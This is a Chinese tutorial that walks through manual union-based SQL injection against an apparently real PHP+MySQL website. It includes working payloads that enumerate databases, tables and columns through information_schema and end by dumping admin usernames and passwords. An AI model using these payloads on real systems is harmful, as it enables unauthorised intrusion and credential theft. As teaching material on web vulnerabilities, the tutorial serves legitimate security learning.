首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PHP+Mysql手工SQL注入实例

这是归于我的一篇新课的其中之一内容,早就写好了,但是一直没推送过来。

临近年底了,我个人也比较忙,一堆事等着我,当然不推送也有我人懒的缘故,微信写文章体验感很差。

微信号写东西不舒服,眼瞎了不赔钱。

我也不会排版。

如何判断页面是否存在SQL注入漏洞?

总结一下我们前面所讲的检测SQL注入的方法。

判断数据库类型:‘

判断注入点:and 1=1 and 1=2

根据返回页面来判断是否存在注入。

MySQL常用的函数

system_user() 系统用户名

user() 用户名

current_user() 当前用户

session_user() 链接数据库的用户名

database() 库名

version()mysql 数据库版本信息

@@datadir 数据库路径

本次讲解PHP+MySQL架构的SQL注入方法。

首先输入单引号“‘“进行测试是否存在注入。

输入单引号后页面返回错误。

接着输入 and 1=1 去测试

and 1=1 测试页面正常,返回了页面。

那么输入 and 1=2呢?

and 1=2 页面返回错误。

所以断定存在SQL注入漏洞,接下来我们来猜测长度。

使用语句: order by

在测试的时候我们可以先输入一个较大的数,比如30。

order by 30 推测列长度是30,结果返回错误。

接着就可以把这个数减小一点,比如20。

order by 20 页面返回正常,因此可以推断长度存在20-30之间。

为了准确确定长度,可以一个一个的去试,也可以快速的使用函数进行查询。

我这里使用了联合查询UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,18,19,20,21,22,23,24,25,26

推测出最终的长度是26,但是没有爆出准确数字。

那么,将页面报错后再次进行爆长度,就要加上 and 1=2,让它本身页面报错了,才能知晓准确数字。

进行报错后再次注入,发现页面已经返回了两个数字,分别是7和17。

那么我们把MySQL的常用函数拿去替换这两个数字字段试试。

把17这个字段替换成常用函数“system_user()”之后,页面已经返回了结果。

system_user()的函数是当前数据库系统用户名。

root@localhost 则是它的用户名。

还可以替换成一些函数,用来查信息,比如数据库版本。

数据库版本为:5.0.22-community-nt

当前数据库库名:gaoneng

数据库用户名:root@localhost

系统用户名:root@localhost

链接数据库用户名为:root@localhost

信息收集完成后,接下来就可以获取它的表了。

获取表

获取表需要用到多条数据显示的函数“group_concat()”

and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(table_name),18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=0x67616F6E656E67

具体的语句就是上面,列出所有的表名,这里需要注意的是 为什么要把数据库名字转为Hex16进制的,因为数据库本身的原因,需要进行编码转换,输入库名是不行的。

如图所示页面已经返回了库名。

com_admin,com_book_pic,com_book_pl,com_books,com_class,com_config,com_down,com_feedback,com_flash,com_link,com_meg,com_news,com_qq,com_sheng,com_user,com_user_address,temp_udf,udf_temp,www_action

表名已经获取到了,接下来就可以根据表名来获取列名。

比如获取“com_admin.com”的列名

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(column_name),18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=0x636F6D5F61646D696E

显示的字段为:userid,username,password,admin,userip,flag

接下来获取username和password两个字段的值

获取username,password字段的值

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,password,userid),18,19,20,21,22,23,24,25,26 from com_admin

用sqlmap进行注入也是一样的效果。

一次PHP+Mysql结构的Web程序的手工SQL注入测试就已经完成,文中所出现的网站非法利用作者不对此承担任何相关责任,仅作为教育示范。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180204G0BZIS00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券